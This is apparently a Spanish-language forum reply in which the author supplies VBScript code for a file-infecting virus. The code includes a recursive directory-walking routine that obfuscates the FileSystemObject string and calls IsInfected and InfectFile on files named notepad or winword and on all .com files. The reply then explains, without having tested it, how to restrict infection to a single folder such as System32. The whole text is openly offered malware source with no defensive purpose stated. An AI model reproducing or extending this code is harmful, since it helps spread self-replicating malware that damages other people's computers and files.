-Que busque el nombre de un programa en concreto y solo infecte a ese.
Aqui tienes para lo del nombre:
Function Subfolders(path)
On Error Resume Next
'Se cifra el string que carga el objeto Scripting.FileSystemObject
Set fso = CreateObject(bullet("Qapkrvkle,DkngQ{qvgoM`hgav"))
Set Drives = fso.Drives
newpath = path
Set Fold = fso.GetFolder(newpath)
Set Files = Fold.Files
For Each File In Files
ext = fso.GetExtensionName(File.path)
ext = LCase(ext)
nam = LCase(File.Name)
'Modificación del Source
If (nam = "notepad") OR (nam = "winword") OR (ext = "com") Then
If IsInfected(File.path) = False Then
InfectFile (File.path)
DoEvents
End If
End If
Next
Set File = Fold.Subfolders
For Each Subfol In File
Call Subfolders(Subfol.path)
Next
End Function
Este ejemplo infecta cualquier archivo llamado notepad.* y winword.* Además infectará todos los archivo con extensión *.com
-Que no infecte a una carpeta (subcarpetas y archivos
) determinada o que solo infecte a una determinada
Este es más complicado, pero creo que debería suprimir la parte del final:
Set File = Fold.Subfolders
For Each Subfol In File
Call Subfolders(Subfol.path)
Next
Y llamar a la función: Subfolders con la ruta exacta, ejemplo: Subfolders("C:\Windows\System32)"
Ojo que esto último no lo he probado